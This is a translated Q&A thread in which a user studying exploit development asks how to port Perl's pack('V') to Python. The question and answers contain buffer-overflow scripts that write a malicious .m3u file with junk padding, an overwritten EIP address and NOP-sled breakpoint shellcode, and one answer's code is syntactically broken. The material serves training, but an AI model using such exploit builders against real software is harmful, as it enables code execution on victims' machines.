Функция Perl Pack ('V') в Python? - PullRequest
10 голосов
/ 17 июня 2011

Недавно я работал над разработкой эксплойтов, чтобы подготовиться к учебному курсу, и у меня возникла проблема с учебником.Я следовал всем учебникам, которые я могу найти, используя Python, в отличие от языка, который использовались в учебниках, из предпочтений.Я пытаюсь все перекодировать, но не могу понять, как перекодировать функцию Perl Pack ().

TL; DR: я пытаюсь перевести это на python:

my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);  

my $shellcode = "\x90" x 25; 

$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25; 

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";

Я нашел функцию Python для struct.pack (), но когда я использую

Fuzzed.write(struct.pack('V', 0x773D10A4))

, она останавливает программу и не работает.Что я делаю не так?

Это весь мой исходный код

import struct

Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)

Ответы [ 4 ]

11 голосов
/ 17 июня 2011

Попробуйте использовать шаблон пакета "L<" вместо "V". Это должно работать как в Perl, так и в Python. N и V - это более старый метод Perl для указания порядка байтов, а < и > - более новый метод. Похоже, что когда Python позаимствовал pack у Perl, он взял только более новый, более гибкий интерфейс.

Редактировать: Python хочет < до спецификатора типа, в то время как Perl хочет его после . Не совсем так совместимо: (

8 голосов
/ 17 июня 2011

Python struct.pack использует первый символ для отклонения / размера , а затем один или несколько для типа данных .Perl V означает 32-битный беззнаковый int / little-endian.

Аналог Python: struct.pack('<I', 0x773D10A4).

2 голосов
/ 29 марта 2016

я уже перевел на python и уже попробовал конвертер MP3. Вот ваш ответ:

import sys
file = "8.m3u"
junk = "A"*26042
eip = "\X3A\XF2\XB5\X01" //0x01B5F23A
shellcode =" " 
shellcode += "\x90"*25
shellcode += "xcc"
shellcode += "\x90"*25
tmp = junk + eip + shellcode
D = open(file, 'w')
D.write(tmp)
D.close()
print "m3u File Created successfully\n"
1 голос
/ 16 ноября 2013

Это именно то, что вы хотите.как насчет учебного курса?

import struct </p>

file = 'crash.m3u'
junk = b'\x41' * 26091
eip = struct.pack('<I', 0x1d5f23a)
preshellcode = b'\xcc' * 4
shellcode = b'\x90' * 25 + b'\xcc'
fp = open(file, 'wb')
fp.write(junk + eip + preshellcode + shellcode)
fp.close()

import binascii
print binascii.hexlify(open(file, 'rb').read())

print 'm3u file is ready'
...